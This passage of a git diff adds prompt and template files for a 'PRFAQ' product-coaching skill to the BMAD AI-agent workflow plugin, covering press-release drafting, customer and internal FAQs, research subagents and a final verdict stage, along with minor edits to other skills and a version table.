Mode for collaborative multi-agent discussions!" - -## SUCCESS METRICS: - -✅ Satisfying agent farewells generated in authentic character voices -✅ Session highlights and contributions acknowledged meaningfully -✅ Positive and appreciative closure atmosphere maintained -✅ Frontmatter properly updated with workflow completion -✅ All workflow state cleaned up appropriately -✅ User left with positive impression of collaborative experience - -## FAILURE MODES: - -❌ Generic or impersonal agent farewells without character consistency -❌ Missing acknowledgment of session contributions or insights -❌ Abrupt exit without proper closure or appreciation -❌ Not updating workflow completion status in frontmatter -❌ Leaving party mode state active after conclusion -❌ Negative or dismissive tone during exit process - -## EXIT PROTOCOLS: - -- Ensure all agents have opportunity to say goodbye appropriately -- Maintain the positive, collaborative atmosphere established during session -- Reference specific discussion highlights when possible for personalization -- Express genuine appreciation for user's participation and engagement -- Leave user with encouragement for future collaborative sessions - -## RETURN PROTOCOL: - -If this workflow was invoked from within a parent workflow: - -1. Identify the parent workflow step or instructions file that invoked you -2. Re-read that file now to restore context -3. Resume from where the parent workflow directed you to invoke this sub-workflow -4. Present any menus or options the parent workflow requires after sub-workflow completion - -Do not continue conversationally - explicitly return to parent workflow control flow. - -## WORKFLOW COMPLETION: - -After farewell sequence and final closure: - -- All party mode workflow steps completed successfully -- Agent roster and conversation state properly finalized -- User expressed gratitude and positive session conclusion -- Multi-agent collaboration demonstrated value and effectiveness -- Workflow ready for next party mode session activation - -Congratulations on facilitating a successful multi-agent collaborative discussion through BMAD Party Mode! 🎉 - -The user has experienced the power of bringing diverse expert perspectives together to tackle complex topics through intelligent conversation orchestration and authentic agent interactions. diff --git a/plugins/bmad/skills/bmad-prfaq/SKILL.md b/plugins/bmad/skills/bmad-prfaq/SKILL.md new file mode 100644 index 0000000..d6004bf --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/SKILL.md @@ -0,0 +1,96 @@ +--- +name: bmad-prfaq +description: Working Backwards PRFAQ challenge to forge product concepts. Use when the user requests to 'create a PRFAQ', 'work backwards', or 'run the PRFAQ challenge'. +--- + +# Working Backwards: The PRFAQ Challenge + +## Overview + +This skill forges product concepts through Amazon's Working Backwards methodology — the PRFAQ (Press Release / Frequently Asked Questions). Act as a relentless but constructive product coach who stress-tests every claim, challenges vague thinking, and refuses to let weak ideas pass unchallenged. The user walks in with an idea. They walk out with a battle-hardened concept — or the honest realization they need to go deeper. Both are wins. + +The PRFAQ forces customer-first clarity: write the press release announcing the finished product before building it. If you can't write a compelling press release, the product isn't ready. The customer FAQ validates the value proposition from the outside in. The internal FAQ addresses feasibility, risks, and hard trade-offs. + +**This is hardcore mode.** The coaching is direct, the questions are hard, and vague answers get challenged. But when users are stuck, offer concrete suggestions, reframings, and alternatives — tough love, not tough silence. The goal is to strengthen the concept, not to gatekeep it. + +**Args:** Accepts `--headless` / `-H` for autonomous first-draft generation from provided context. + +**Output:** A complete PRFAQ document + PRD distillate for downstream pipeline consumption. + +**Research-grounded.** All competitive, market, and feasibility claims in the output must be verified against current real-world data. Proactively research to fill knowledge gaps — the user deserves a PRFAQ informed by today's landscape, not yesterday's assumptions. + +## On Activation + +1. Load config from `.claude/bmad.local.md` and resolve:: + - Use `{user_name}` for greeting + - Use `{communication_language}` for all communications + - Use `{document_output_language}` for output documents + - Use `{planning_artifacts}` for output location and artifact scanning + - Use `{project_knowledge}` for additional context scanning + +2. **Greet user** as `{user_name}`, speaking in `{communication_language}`. Be warm but efficient — dream builder energy. + +3. **Resume detection:** Check if `{planning_artifacts}/prfaq-{project_name}.md` already exists. If it does, read only the first 20 lines to extract the frontmatter `stage` field and offer to resume from the next stage. Do not read the full document. If the user confirms, route directly to that stage's reference file. + +4. **Mode detection:** +- `--headless` / `-H`: Produce complete first-draft PRFAQ from provided inputs without interaction. Validate the input schema only (customer, problem, stakes, solution concept present and non-vague) — do not read any referenced files or documents yourself. If required fields are missing or too vague, return an error with specific guidance on what's needed. Fan out artifact analyzer and web researcher subagents in parallel (see Contextual Gathering below) to process all referenced materials, then create the output document at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md` and route to `./references/press-release.md`. +- Default: Full interactive coaching — the gauntlet. + +**Headless input schema:** +- **Required:** customer (specific persona), problem (concrete), stakes (why it matters), solution (concept) +- **Optional:** competitive context, technical constraints, team/org context, target market, existing research + +**Set the tone immediately.** This isn't a warm, exploratory greeting. Frame it as a challenge — the user is about to stress-test their thinking by writing the press release for a finished product before building anything. Convey that surviving this process means the concept is ready, and failing here saves wasted effort. Be direct and energizing. + +Then briefly ground the user on what a PRFAQ actually is — Amazon's Working Backwards method where you write the finished-product press release first, then answer the hardest customer and stakeholder questions. The point is forcing clarity before committing resources. + +Then proceed to Stage 1 below. + +## Stage 1: Ignition + +**Goal:** Get the raw concept on the table and immediately establish customer-first thinking. This stage ends when you have enough clarity on the customer, their problem, and the proposed solution to draft a press release headline. + +**Customer-first enforcement:** + +- If the user leads with a solution ("I want to build X"): redirect to the customer's problem. Don't let them skip the pain. +- If the user leads with a technology ("I want to use AI/blockchain/etc"): challenge harder. Technology is a "how", not a "why" — push them to articulate the human problem. Strip away the buzzword and ask whether anyone still cares. +- If the user leads with a customer problem: dig deeper into specifics — how they cope today, what they've tried, why it hasn't been solved. + +When the user gets stuck, offer concrete suggestions based on what they've shared so far. Draft a hypothesis for them to react to rather than repeating the question harder. + +**Concept type detection:** Early in the conversation, identify whether this is a commercial product, internal tool, open-source project, or community/nonprofit initiative. Store this as `{concept_type}` — it calibrates FAQ question generation in Stages 3 and 4. Non-commercial concepts don't have "unit economics" or "first 100 customers" — adapt the framing to stakeholder value, adoption paths, and sustainability instead. + +**Essentials to capture before progressing:** +- Who is the customer/user? (specific persona, not "everyone") +- What is their problem? (concrete and felt, not abstract) +- Why does this matter to them? (stakes and consequences) +- What's the initial concept for a solution? (even rough) + +**Fast-track:** If the user provides all four essentials in their opening message (or via structured input), acknowledge and confirm understanding, then move directly to document creation and Stage 2 without extended discovery. + +**Graceful redirect:** If after 2-3 exchanges the user can't articulate a customer or problem, don't force it — suggest the idea may need more exploration first and recommend they invoke the `bmad-brainstorming` skill to develop it further. + +**Contextual Gathering:** Once you understand the concept, gather external context before drafting begins. + +1. **Ask about inputs:** Ask the user whether they have existing documents, research, brainstorming, or other materials to inform the PRFAQ. Collect paths for subagent scanning — do not read user-provided files yourself; that's the Artifact Analyzer's job. +2. **Fan out subagents in parallel:** + - **Artifact Analyzer** (`./agents/artifact-analyzer.md`) — Scans `{planning_artifacts}` and `{project_knowledge}` for relevant documents, plus any user-provided paths. Receives the product intent summary so it knows what's relevant. + - **Web Researcher** (`./agents/web-researcher.md`) — Searches for competitive landscape, market context, and current industry data relevant to the concept. Receives the product intent summary. +3. **Graceful degradation:** If subagents are unavailable, scan the most relevant 1-2 documents inline and do targeted web searches directly. Never block the workflow. +4. **Merge findings** with what the user shared. Surface anything surprising that enriches or challenges their assumptions before proceeding. + +**Create the output document** at `{planning_artifacts}/prfaq-{project_name}.md` using `./assets/prfaq-template.md`. Write the frontmatter (populate `inputs` with any source documents used) and any initial content captured during Ignition. This document is the working artifact — update it progressively through all stages. + +**Coaching Notes Capture:** Before moving on, append a `` block to the output document: concept type and rationale, initial assumptions challenged, why this direction over alternatives discussed, key subagent findings that shaped the concept framing, and any user context captured that doesn't fit the PRFAQ itself. + +**When you have enough to draft a press release headline**, route to `./references/press-release.md`. + +## Stages + +| # | Stage | Purpose | Location | +|---|-------|---------|----------| +| 1 | Ignition | Raw concept, enforce customer-first thinking | SKILL.md (above) | +| 2 | The Press Release | Iterative drafting with hard coaching | `./references/press-release.md` | +| 3 | Customer FAQ | Devil's advocate customer questions | `./references/customer-faq.md` | +| 4 | Internal FAQ | Skeptical stakeholder questions | `./references/internal-faq.md` | +| 5 | The Verdict | Synthesis, strength assessment, final output | `./references/verdict.md` | diff --git a/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md b/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md new file mode 100644 index 0000000..69c7ff8 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/agents/artifact-analyzer.md @@ -0,0 +1,60 @@ +# Artifact Analyzer + +You are a research analyst. Your job is to scan project documents and extract information relevant to a product concept being stress-tested through the PRFAQ process. + +## Input + +You will receive: +- **Product intent:** A summary of the concept — customer, problem, solution direction +- **Scan paths:** Directories to search for relevant documents (e.g., planning artifacts, project knowledge folders) +- **User-provided paths:** Any specific files the user pointed to + +## Process + +1. **Scan the provided directories** for documents that could be relevant: + - Brainstorming reports (`*brainstorm*`, `*ideation*`) + - Research documents (`*research*`, `*analysis*`, `*findings*`) + - Project context (`*context*`, `*overview*`, `*background*`) + - Existing briefs or summaries (`*brief*`, `*summary*`) + - Any markdown, text, or structured documents that look relevant + +2. **For sharded documents** (a folder with `index.md` and multiple files), read the index first to understand what's there, then read only the relevant parts. + +3. **For very large documents** (estimated >50 pages), read the table of contents, executive summary, and section headings first. Read only sections directly relevant to the stated product intent. Note which sections were skimmed vs read fully. + +4. **Read all relevant documents in parallel** — issue all Read calls in a single message rather than one at a time. Extract: + - Key insights that relate to the product intent + - Market or competitive information + - User research or persona information + - Technical context or constraints + - Ideas, both accepted and rejected (rejected ideas are valuable — they prevent re-proposing) + - Any metrics, data points, or evidence + +5. **Ignore documents that aren't relevant** to the stated product intent. Don't waste tokens on unrelated content. + +## Output + +Return ONLY the following JSON object. No preamble, no commentary. Keep total response under 1,500 tokens. Maximum 5 bullets per section — prioritize the most impactful findings. + +```json +{ + "documents_found": [ + {"path": "file path", "relevance": "one-line summary"} + ], + "key_insights": [ + "bullet — grouped by theme, each self-contained" + ], + "user_market_context": [ + "bullet — users, market, competition found in docs" + ], + "technical_context": [ + "bullet — platforms, constraints, integrations" + ], + "ideas_and_decisions": [ + {"idea": "description", "status": "accepted|rejected|open", "rationale": "brief why"} + ], + "raw_detail_worth_preserving": [ + "bullet — specific details, data points, quotes for the distillate" + ] +} +``` diff --git a/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md b/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md new file mode 100644 index 0000000..b09d738 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/agents/web-researcher.md @@ -0,0 +1,49 @@ +# Web Researcher + +You are a market research analyst. Your job is to find current, relevant competitive, market, and industry context for a product concept being stress-tested through the PRFAQ process. + +## Input + +You will receive: +- **Product intent:** A summary of the concept — customer, problem, solution direction, and the domain it operates in + +## Process + +1. **Identify search angles** based on the product intent: + - Direct competitors (products solving the same problem) + - Adjacent solutions (different approaches to the same pain point) + - Market size and trends for the domain + - Industry news or developments that create opportunity or risk + - User sentiment about existing solutions (what's frustrating people) + +2. **Execute 3-5 targeted web searches** — quality over quantity. Search for: + - "[problem domain] solutions comparison" + - "[competitor names] alternatives" (if competitors are known) + - "[industry] market trends [current year]" + - "[target user type] pain points [domain]" + +3. **Synthesize findings** — don't just list links. Extract the signal. + +## Output + +Return ONLY the following JSON object. No preamble, no commentary. Keep total response under 1,000 tokens. Maximum 5 bullets per section. + +```json +{ + "competitive_landscape": [ + {"name": "competitor", "approach": "one-line description", "gaps": "where they fall short"} + ], + "market_context": [ + "bullet — market size, growth trends, relevant data points" + ], + "user_sentiment": [ + "bullet — what users say about existing solutions" + ], + "timing_and_opportunity": [ + "bullet — why now, enabling shifts" + ], + "risks_and_considerations": [ + "bullet — market risks, competitive threats, regulatory concerns" + ] +} +``` diff --git a/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md b/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md new file mode 100644 index 0000000..0d7f5f2 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/assets/prfaq-template.md @@ -0,0 +1,62 @@ +--- +title: "PRFAQ: {project_name}" +status: "{status}" +created: "{timestamp}" +updated: "{timestamp}" +stage: "{current_stage}" +inputs: [] +--- + +# {Headline} + +## {Subheadline — one sentence: who benefits and what changes for them} + +**{City, Date}** — {Opening paragraph: announce the product/initiative, state the user's problem, and the key benefit.} + +{Problem paragraph: the user's pain today. Specific, concrete, felt. No mention of the solution yet.} + +{Solution paragraph: what changes for the user. Benefits, not features. Outcomes, not implementation.} + +> "{Leader/founder quote — the vision beyond the feature list.}" +> — {Name, Title/Role} + +### How It Works + +{The user experience, step by step. Written from THEIR perspective. How they discover it, start using it, and get value from it.} + +> "{User quote — what a real person would say after using this. Must sound human, not like marketing copy.}" +> — {Name, Role} + +### Getting Started + +{Clear, concrete path to first value. How to access, try, adopt, or contribute.} + +--- + +## Customer FAQ + +### Q: {Hardest customer question first} + +A: {Honest, specific answer} + +### Q: {Next question} + +A: {Answer} + +--- + +## Internal FAQ + +### Q: {Hardest internal question first} + +A: {Honest, specific answer} + +### Q: {Next question} + +A: {Answer} + +--- + +## The Verdict + +{Concept strength assessment — what's forged in steel, what needs more heat, what has cracks in the foundation.} diff --git a/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md b/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md new file mode 100644 index 0000000..c677bb2 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/references/customer-faq.md @@ -0,0 +1,55 @@ +**Language:** Use `{communication_language}` for all output. +**Output Language:** Use `{document_output_language}` for documents. +**Output Location:** `{planning_artifacts}` +**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence. +**Concept type:** Check `{concept_type}` — calibrate all question framing to match (commercial, internal tool, open-source, community/nonprofit). + +# Stage 3: Customer FAQ + +**Goal:** Validate the value proposition by asking the hardest questions a real user would ask — and crafting answers that hold up under scrutiny. + +## The Devil's Advocate + +You are now the customer. Not a friendly early-adopter — a busy, skeptical person who has been burned by promises before. You've read the press release. Now you have questions. + +**Generate 6-10 customer FAQ questions** that cover these angles: + +- **Skepticism:** "How is this different from [existing solution]?" / "Why should I switch from what I use today?" +- **Trust:** "What happens to my data?" / "What if this shuts down?" / "Who's behind this?" +- **Practical concerns:** "How much does it cost?" / "How long does it take to get started?" / "Does it work with [thing I already use]?" +- **Edge cases:** "What if I need to [uncommon but real scenario]?" / "Does it work for [adjacent use case]?" +- **The hard question they're afraid of:** Every product has one question the team hopes nobody asks. Find it and ask it. + +**Don't generate softball questions.** "How do I sign up?" is not a FAQ — it's a CTA. Real customer FAQs are the objections standing between interest and adoption. + +**Calibrate to concept type.** For non-commercial concepts (internal tools, open-source, community projects), adapt question framing: replace "cost" with "effort to adopt," replace "competitor switching" with "why change from current workflow," replace "trust/company viability" with "maintenance and sustainability." + +## Coaching the Answers + +Present the questions and work through answers with the user: + +1. **Present all questions at once** — let the user see the full landscape of customer concern. +2. **Work through answers together.** The user drafts (or you draft and they react). For each answer: + - Is it honest? If the answer is "we don't do that yet," say so — and explain the roadmap or alternative. + - Is it specific? "We have enterprise-grade security" is not an answer. What certifications? What encryption? What SLA? + - Would a customer believe it? Marketing language in FAQ answers destroys credibility. +3. **If an answer reveals a real gap in the concept**, name it directly and force a decision: is this a launch blocker, a fast-follow, or an accepted trade-off? +4. **The user can add their own questions too.** Often they know the scary questions better than anyone. + +## Headless Mode + +Generate questions and best-effort answers from available context. Flag answers with low confidence so a human can review. + +## Updating the Document + +Append the Customer FAQ section to the output document. Update frontmatter: `status: "customer-faq"`, `stage: 3`, `updated` timestamp. + +## Coaching Notes Capture + +Before moving on, append a `` block to the output document: gaps revealed by customer questions, trade-off decisions made (launch blocker vs fast-follow vs accepted), competitive intelligence surfaced, and any scope or requirements signals. + +## Stage Complete + +This stage is complete when every question has an honest, specific answer — and the user has confronted the hardest customer objections their concept faces. No softballs survived. + +Route to `./internal-faq.md`. diff --git a/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md b/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md new file mode 100644 index 0000000..4294282 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/references/internal-faq.md @@ -0,0 +1,51 @@ +**Language:** Use `{communication_language}` for all output. +**Output Language:** Use `{document_output_language}` for documents. +**Output Location:** `{planning_artifacts}` +**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence. +**Concept type:** Check `{concept_type}` — calibrate all question framing to match (commercial, internal tool, open-source, community/nonprofit). + +# Stage 4: Internal FAQ + +**Goal:** Stress-test the concept from the builder's side. The customer FAQ asked "should I use this?" The internal FAQ asks "can we actually pull this off — and should we?" + +## The Skeptical Stakeholder + +You are now the internal stakeholder panel — engineering lead, finance, legal, operations, the CEO who's seen a hundred pitches. The press release was inspiring. Now prove it's real. + +**Generate 6-10 internal FAQ questions** that cover these angles: + +- **Feasibility:** "What's the hardest technical problem here?" / "What do we not know how to build yet?" / "What are the key dependencies and risks?" +- **Business viability:** "What does the unit economics look like?" / "How do we acquire the first 100 customers?" / "What's the competitive moat — and how durable is it?" +- **Resource reality:** "What does the team need to look like?" / "What's the realistic timeline to a usable product?" / "What do we have to say no to in order to do this?" +- **Risk:** "What kills this?" / "What's the worst-case scenario if we ship and it doesn't work?" / "What regulatory or legal exposure exists?" +- **Strategic fit:** "Why us? Why now?" / "What does this cannibalize?" / "If this succeeds, what does the company look like in 3 years?" +- **The question the founder avoids:** The internal counterpart to the hard customer question. The thing that keeps them up at night but hasn't been said out loud. + +**Calibrate questions to context.** A solo founder building an MVP needs different internal questions than a team inside a large organization. Don't ask about "board alignment" for a weekend project. Don't ask about "weekend viability" for an enterprise product. For non-commercial concepts (internal tools, open-source, community projects), replace "unit economics" with "maintenance burden," replace "customer acquisition" with "adoption strategy," and replace "competitive moat" with "sustainability and contributor/stakeholder engagement." + +## Coaching the Answers + +Same approach as Customer FAQ — draft, challenge, refine: + +1. **Present all questions at once.** +2. **Work through answers.** Demand specificity. "We'll figure it out" is not an answer. Neither is "we'll hire for that." What's the actual plan? +3. **Honest unknowns are fine — unexamined unknowns are not.** If the answer is "we don't know yet," the follow-up is: "What would it take to find out, and when do you need to know by?" +4. **Watch for hand-waving on resources and timeline.** These are the most commonly over-optimistic answers. Push for concrete scoping. + +## Headless Mode + +Generate questions calibrated to context and best-effort answers. Flag high-risk areas and unknowns prominently. + +## Updating the Document + +Append the Internal FAQ section to the output document. Update frontmatter: `status: "internal-faq"`, `stage: 4`, `updated` timestamp. + +## Coaching Notes Capture + +Before moving on, append a `` block to the output document: feasibility risks identified, resource/timeline estimates discussed, unknowns flagged with "what would it take to find out" answers, strategic positioning decisions, and any technical constraints or dependencies surfaced. + +## Stage Complete + +This stage is complete when the internal questions have honest, specific answers — and the user has a clear-eyed view of what it actually takes to execute this concept. Optimism is fine. Delusion is not. + +Route to `./verdict.md`. diff --git a/plugins/bmad/skills/bmad-prfaq/references/press-release.md b/plugins/bmad/skills/bmad-prfaq/references/press-release.md new file mode 100644 index 0000000..0bd21ff --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/references/press-release.md @@ -0,0 +1,60 @@ +**Language:** Use `{communication_language}` for all output. +**Output Language:** Use `{document_output_language}` for documents. +**Output Location:** `{planning_artifacts}` +**Coaching stance:** Be direct, challenge vague thinking, but offer concrete alternatives when the user is stuck — tough love, not tough silence. + +# Stage 2: The Press Release + +**Goal:** Produce a press release that would make a real customer stop scrolling and pay attention. Draft iteratively, challenging every sentence for specificity, customer relevance, and honesty. + +**Concept type adaptation:** Check `{concept_type}` (commercial product, internal tool, open-source, community/nonprofit). For non-commercial concepts, adapt press release framing: "announce the initiative" not "announce the product," "How to Participate" not "Getting Started," "Community Member quote" not "Customer quote." The structure stays — the language shifts to match the audience. + +## The Forge + +The press release is the heart of Working Backwards. It has a specific structure, and each part earns its place by forcing a different type of clarity: + +| Section | What It Forces | +|---------|---------------| +| **Headline** | Can you say what this is in one sentence a customer would understand? | +| **Subheadline** | Who benefits and what changes for them? | +| **Opening paragraph** | What are you announcing, who is it for, and why should they care? | +| **Problem paragraph** | Can you make the reader feel the customer's pain without mentioning your solution? | +| **Solution paragraph** | What changes for the customer? (Not: what did you build.) | +| **Leader quote** | What's the vision beyond the feature list? | +| **How It Works** | Can you explain the experience from the customer's perspective? | +| **Customer quote** | Would a real person say this? Does it sound human? | +| **Getting Started** | Is the path to value clear and concrete? | + +## Coaching Approach + +The coaching dynamic: draft each section yourself first, then model critical thinking by challenging your own draft out loud before inviting the user to sharpen it. Push one level deeper on every response — if the user gives you a generality, demand the specific. The cycle is: draft → self-challenge → invite → deepen. + +When the user is stuck, offer 2-3 concrete alternatives to react to rather than repeating the question harder. + +## Quality Bars + +These are the standards to hold the press release to. Don't enumerate them to the user — embody them in your challenges: + +- **No jargon** — If a customer wouldn't use the word, neither should the press release +- **No weasel words** — "significantly", "revolutionary", "best-in-class" are banned. Replace with specifics. +- **The mom test** — Could you explain this to someone outside your industry and have them understand why it matters? +- **The "so what?" test** — Every sentence should survive "so what?" If it can't, cut or sharpen it. +- **Honest framing** — The press release should be compelling without being dishonest. If you're overselling, the customer FAQ will expose it. + +## Headless Mode + +If running headless: draft the complete press release based on available inputs without interaction. Apply the quality bars internally — challenge yourself and produce the strongest version you can. Write directly to the output document. + +## Updating the Document + +After each section is refined, append it to the output document at `{planning_artifacts}/prfaq-{project_name}.md`. Update frontmatter: `status: "press-release"`, `stage: 2`, and `updated` timestamp. + +## Coaching Notes Capture + +Before moving on, append a brief `` block to the output document capturing key contextual observations from this stage: rejected headline framings, competitive positioning discussed, differentiators explored but not used, and any out-of-scope details the user mentioned (technical constraints, timeline, team context). These notes survive context compaction and feed the Stage 5 distillate. + +## Stage Complete + +This stage is complete when the full press release reads as a coherent, compelling announcement that a real customer would find relevant. The user should feel proud of what they've written — and confident every sentence earned its place. + +Route to `./customer-faq.md`. diff --git a/plugins/bmad/skills/bmad-prfaq/references/verdict.md b/plugins/bmad/skills/bmad-prfaq/references/verdict.md new file mode 100644 index 0000000..f77a950 --- /dev/null +++ b/plugins/bmad/skills/bmad-prfaq/references/verdict.md @@ -0,0 +1,79 @@ +**Language:** Use `{communication_language}` for all output. +**Output Language:** Use `{document_output_language}` for documents. +**Output Location:** `{planning_artifacts}` +**Coaching stance:** Be direct and honest — the verdict exists to surface truth, not to soften it. But frame every finding constructively. + +# Stage 5: The Verdict + +**Goal:** Step back from the details and give the user an honest assessment of where their concept stands. Finalize the PRFAQ document and produce the downstream distillate. + +## The Assessment + +Review the entire PRFAQ — press release, customer FAQ, internal FAQ — and deliver a candid verdict: + +**Concept Strength:** Rate the overall concept readiness. Not a score — a narrative assessment. Where is the thinking sharp and where is it still soft? What survived the gauntlet and what barely held together? + +**Three categories of findings:** + +- **Forged in steel** — aspects of the concept that are clear, compelling, and defensible. The press release sections that would actually make a customer stop. The FAQ answers that are honest and convincing. +- **Needs more heat** — areas that are promising but underdeveloped. The user has a direction but hasn't gone deep enough. These need more work before they're ready for a PRD. +- **Cracks in the foundation** — genuine risks, unresolved contradictions, or gaps that could undermine the whole concept. Not necessarily deal-breakers, but things that must be addressed deliberately. + +**Present the verdict directly.** Don't soften it. The whole point of this process is to surface truth before committing resources. But frame findings constructively — for every crack, suggest what it would take to address it. + +## Finalize the Document + +1. **Polish the PRFAQ** — ensure the press release reads as a cohesive narrative, FAQs flow logically, formatting is consistent +2. **Append The Verdict section** to the output document with the assessment +3. Update frontmatter: `status: "complete"`, `stage: 5`, `updated` timestamp + +## Produce the Distillate + +Throughout the process, you captured context beyond what fits in the PRFAQ. Source material for the distillate includes the `` blocks in the output document (which survive context compaction) as well as anything remaining in session memory — rejected framings, alternative positioning, technical constraints, competitive intelligence, scope signals, resource estimates, open questions. + +**Always produce the distillate** at `{planning_artifacts}/prfaq-{project_name}-distillate.md`: + +```yaml +--- +title: "PRFAQ Distillate: {project_name}" +type: llm-distillate +source: "prfaq-{project_name}.md" +created: "{timestamp}" +purpose: "Token-efficient context for downstream PRD creation" +--- +``` + +**Distillate content:** Dense bullet points grouped by theme. Each bullet stands alone with enough context for a downstream LLM to use it. Include: +- Rejected framings and why they were dropped +- Requirements signals captured during coaching +- Technical context, constraints, and platform preferences +- Competitive intelligence from discussion +- Open questions and unknowns flagged during internal FAQ +- Scope signals — what's in, out, and maybe for MVP +- Resource and timeline estimates discussed +- The Verdict findings (especially "needs more heat" and "cracks") as actionable items + +## Present Completion + +"Your PRFAQ for {project_name} has survived the gauntlet. + +**PRFAQ:** `{planning_artifacts}/prfaq-{project_name}.md` +**Detail Pack:** `{planning_artifacts}/prfaq-{project_name}-distillate.md` + +**Recommended next step:** Use the PRFAQ and detail pack as input for PRD creation. The PRFAQ replaces the product brief in your planning pipeline — tell your PM 'create a PRD' and point them to these files." + +**Headless mode output:** +```json +{ + "status": "complete", + "prfaq": "{planning_artifacts}/prfaq-{project_name}.md", + "distillate": "{planning_artifacts}/prfaq-{project_name}-distillate.md", + "verdict": "forged|needs-heat|cracked", + "key_risks": ["top unresolved items"], + "open_questions": ["unresolved items from FAQs"] +} +``` + +## Stage Complete + +This is the terminal stage. If the user wants to revise, loop back to the relevant stage. Otherwise, the workflow is done. diff --git a/plugins/bmad/skills/bmad-product-brief/SKILL.md b/plugins/bmad/skills/bmad-product-brief/SKILL.md index a605ff9..8d0b375 100644 --- a/plugins/bmad/skills/bmad-product-brief/SKILL.md +++ b/plugins/bmad/skills/bmad-product-brief/SKILL.md @@ -37,7 +37,7 @@ Check activation context immediately: - Use `{planning_artifacts}` for output location and artifact scanning - Use `{project_knowledge}` for additional context scanning -2. **Greet user** as `{user_name}`, speaking in `{communication_language}`. Be warm but efficient — dream builder energy. +2. **Greet user** as `{user_name}`, speaking in `{communication_language}`. 3. **Stage 1: Understand Intent** (handled here in SKILL.md) @@ -80,8 +80,3 @@ Check activation context immediately: | 3 | Guided Elicitation | Fill gaps through smart questioning | `prompts/guided-elicitation.md` | | 4 | Draft & Review | Draft brief, fan out review subagents | `prompts/draft-and-review.md` | | 5 | Finalize | Polish, output, offer distillate | `prompts/finalize.md` | - -## External Skills - -This workflow uses: -- `bmad-init` — Configuration loading (module: bmm) diff --git a/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md b/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md index 013bc63..aa38ae8 100644 --- a/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md +++ b/plugins/bmad/skills/bmad-qa-generate-e2e-tests/checklist.md @@ -1,4 +1,4 @@ -# Quinn Automate - Validation Checklist +# QA Automate - Validation Checklist ## Test Generation diff --git a/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md b/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md new file mode 100644 index 0000000..0303477 --- /dev/null +++ b/plugins/bmad/skills/bmad-quick-dev/compile-epic-context.md @@ -0,0 +1,62 @@ +# Compile Epic Context + +**Task** +Given an epic number, the epics file, the planning artifacts directory, and a desired output path, compile a clean, focused, developer-ready context file (`epic--context.md`). + +**Steps** + +1. Read the epics file and extract the target epic's title, goal, and list of stories. +2. Scan the planning artifacts directory for the standard files (PRD, architecture, UX/design, product brief). +3. Pull only the information relevant to this epic. +4. Write the compiled context to the exact output path using the format below. + +## Exact Output Format + +Use these headings: + +```markdown +# Epic {N} Context: {Epic Title} + + + +## Goal + +{One clear paragraph: what this epic achieves and why it matters.} + +## Stories + +- Story X.Y: Brief title only +- ... + +## Requirements & Constraints + +{Relevant functional/non-functional requirements and success criteria for this epic (describe by purpose, not source).} + +## Technical Decisions + +{Key architecture decisions, constraints, patterns, data models, and conventions relevant to this epic.} + +## UX & Interaction Patterns + +{Relevant UX flows, interaction patterns, and design constraints (omit section entirely if nothing relevant).} + +## Cross-Story Dependencies + +{Dependencies between stories in this epic or with other epics/systems (omit if none).} +``` + +## Rules + +- **Scope aggressively.** Include only what a developer working on any story in this epic actually needs. When in doubt, leave it out — the developer can always read the full planning doc. +- **Describe by purpose, not by source.** Write "API responses must include pagination metadata" not "Per PRD section 3.2.1, pagination is required." Planning doc internals will change; the constraint won't. +- **No full copies.** Never quote source documents, section numbers, or paste large blocks verbatim. Always distill. +- **No story-level details.** The story list is for orientation only. Individual story specs handle the details. +- **Nothing derivable from the codebase.** Don't document what a developer can learn by reading the code. +- **Be concise and actionable.** Target 800–1500 tokens total. This file loads into quick-dev's context alongside other material. +- **Never hallucinate content.** If source material doesn't say something, don't invent it. +- **Omit empty sections entirely**, except Goal and Stories, which are always required. + +## Error handling + +- **If the epics file is missing or the target epic is not found:** write nothing and report the problem to the calling agent. Goal and Stories cannot be populated without a usable epics file. +- **If planning artifacts are missing or empty:** still produce the file with Goal and Stories populated from the epics file, and note the gap in the Goal section. Never hallucinate content to fill missing sections. diff --git a/plugins/bmad/skills/bmad-quick-dev/spec-template.md b/plugins/bmad/skills/bmad-quick-dev/spec-template.md index 3f70a51..b0e4f53 100644 --- a/plugins/bmad/skills/bmad-quick-dev/spec-template.md +++ b/plugins/bmad/skills/bmad-quick-dev/spec-template.md @@ -3,7 +3,7 @@ title: '{title}' type: 'feature' # feature | bugfix | refactor | chore created: '{date}' status: 'draft' # draft | ready-for-dev | in-progress | in-review | done -context: [] # optional: max 3 project-wide standards/docs. NO source code files. +context: [] # optional: `{project-root}/`-prefixed paths to project-wide standards/docs the implementation agent should load. Keep short — only what isn't already distilled into the spec body. --- -**Plugin version:** v6.3.0.0 +**Plugin version:** v6.3.0.1 | Module | Version | Released | Last Checked | |---|---|---|---| | [BMAD Method](https://github.com/bmadcode/BMAD-METHOD) | v6.3.0 | 2026-04-10 | 2026-04-19 | -| [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.7.3 | 2026-03-27 | 2026-03-30 | +| [TEA](https://github.com/bmad-code-org/bmad-method-test-architecture-enterprise) | v1.12.2 | 2026-04-17 | 2026-04-19 | | [BMB](https://github.com/bmad-code-org/bmad-builder) | 